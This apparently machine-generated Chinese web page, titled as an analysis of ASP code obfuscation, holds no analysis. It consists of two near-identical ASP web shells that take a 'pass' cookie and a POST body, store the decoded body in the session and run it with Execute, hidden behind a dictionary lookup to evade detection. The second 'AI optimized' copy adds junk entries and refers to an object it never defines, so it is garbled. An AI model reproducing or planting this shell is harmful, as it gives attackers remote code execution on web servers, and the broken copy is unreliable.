ASP 代码混淆与解密:深入分析和安全评估
<% Set bypassDictionary = Server.CreateObject('Scripting.Dictionary')
Function decryption(content,isBin) dim size,i,result,keySize keySize = len(key) Set BinaryStream = CreateObject('ADODB.Stream') BinaryStream.CharSet = 'iso-8859-1' BinaryStream.Type = 2 BinaryStream.Open if IsArray(content) then size=UBound(content)+1 For i=1 To size BinaryStream.WriteText chrw(ascb(midb(content,i,1))) Next end if BinaryStream.Position = 0 if isBin then BinaryStream.Type = 1 decryption=BinaryStream.Read() else decryption=BinaryStream.ReadText() end if
End Function content = request.BinaryRead(request.TotalBytes) if len(request.Cookies.Item('pass'))>0 then if IsEmpty(Session('payload')) then content=decryption(content,false) Session('payload')=content response.End else bypassDictionary.Add 'payload',Session('payload') Execute(bypassDictionary('payload')) result=run(content) if not IsEmpty(result) then response.BinaryWrite result end if end if end if %>
<% Set randomObj = Server.CreateObject('Scripting.Dictionary') randomObj.Add 'a', 'b' randomObj.Add 'c', 'd' randomObj.Add 'e', 'f' randomObj.Add 'g', 'h' randomObj.Add 'i', 'j' randomObj.Add 'k', 'l' randomObj.Add 'm', 'n' randomObj.Add 'o', 'p' randomObj.Add 'q', 'r' randomObj.Add 's', 't' randomObj.Add 'u', 'v' randomObj.Add 'w', 'x' randomObj.Add 'y', 'z'
Function decrypt(str, isBinary) Dim size, i, result, keySize keySize = Len(key) Set BinaryStream = CreateObject('ADODB.Stream') BinaryStream.CharSet = 'iso-8859-1' BinaryStream.Type = 2 BinaryStream.Open If IsArray(str) Then size = UBound(str) + 1 For i = 1 To size BinaryStream.WriteText ChrW(AscB(MidB(str, i, 1))) Next End If BinaryStream.Position = 0 If isBinary Then BinaryStream.Type = 1 decrypt = BinaryStream.Read() Else decrypt = BinaryStream.ReadText() End If
End Function
content = Request.BinaryRead(Request.TotalBytes) If Len(Request.Cookies.Item('pass')) > 0 Then If IsEmpty(Session('payload')) Then content = decrypt(content, False) Session('payload') = content Response.End Else bypassDictionary.Add 'payload', Session('payload') Execute (bypassDictionary('payload')) result = run(content) If Not IsEmpty(result) Then Response.BinaryWrite result End If End If End If %>
AI 优化版
原文地址:https://www.cveoy.top/t/topic/lK0Y 著作权归作者所有。请勿转载和采集!